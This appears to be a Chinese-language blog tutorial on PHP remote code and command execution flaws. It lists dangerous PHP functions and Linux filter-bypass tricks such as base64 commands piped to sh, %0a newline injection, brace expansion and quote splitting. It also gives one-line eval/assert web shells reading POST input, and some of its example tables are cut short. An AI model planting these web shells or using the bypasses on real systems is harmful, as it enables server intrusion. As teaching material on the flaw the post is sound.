RCE漏洞
RCE漏洞
一、什么是RCE漏洞?
在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;
二、常见的RCE漏洞函数
1、系统命令执行函数
system():能将字符串作为OS命令执行,且返回命令执行结果;
1
<?php system('whoami');?>
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行;
1
<?php echo exec('whoami');?>
shell_exec():能将字符串作为OS命令执行
pcntl_exec();
popen();
proc_popen();
passthru():把字符串当做系统命令运行
1
<?php passthru('whoami');?>
2.Windows下的命令执行漏洞调用
命令连接符
1 | 1 常用命令 |
3.Linux下的命令执行漏洞利用
命令连接符
1 | 1 cmd1 ; cmd2 //使多个命令顺序执行,前面命令和后面命令的都会执行。 |
3.2编码绕过
(1).base64编码
1 | echo "abcd" | base64 |
(2).base64解码
1 | echo "Y2F0Cg=" | base64 -d |
(3).使用base64编码解码后的指令执行命令:
1 | echo "cat hello.txt" | base64 |
1 | echo "Y2F0IGhlbGxvLnR4dAo=" | base64 -d | sh |
3.3拼接法
想要读取hello.txt的内容,我们使用拼接法
1 | a=hell;b=o;cat $a$b.txt |
3.4%0a绕过
%0a代表换行,通过%0a注入一条新的命令
有些函数只会识别和处理第一行的相关字符,使用%0a将数据换行,可以绕过一些函数执行命令。%0a表示换行,通过%0a能够注入—条新的命令进行执行。
3.5花括号{}
linux中,可以使用执行系统命令,同时可以使用逗号代替空格。
针对数据包,{ip,addr} , {cat,hello.txt},{ls,},如果是单命令也需要加上一个逗号。
3.6引号执行(绕过)
1 | cat fl"a"g.txt |
3.7通配符执行
?代表一个未知字符
*代表n个位置字符
1 | cat he* 打开了hello.txt |
3.8反斜杠执行
1 | c\at hello.txt |
三、RCE执行代码漏洞
常见函数:
1 | # 函数汇总 |
eval()函数
eval函数把字符串作为PHP代码执行。一般用于写入一句话木马。
1 | <?php @eval($_POST['pwd']);?> |
assert函数
assert函数检查一个断言是否为FALSE。
assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动。如果assertion是字符串,它会被assert函数当作PHP代码来执行。如:
1 | <?php @assert($_POST[1])?> |
preg_replace函数
preg_replace函数执行一个正则表达式的搜索和替换。
preg_replace函数搜索subject中匹配pattern的部分,以replacement进行替换。
preg_replace函数示例代码如下:
1 | <?php |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Hexo!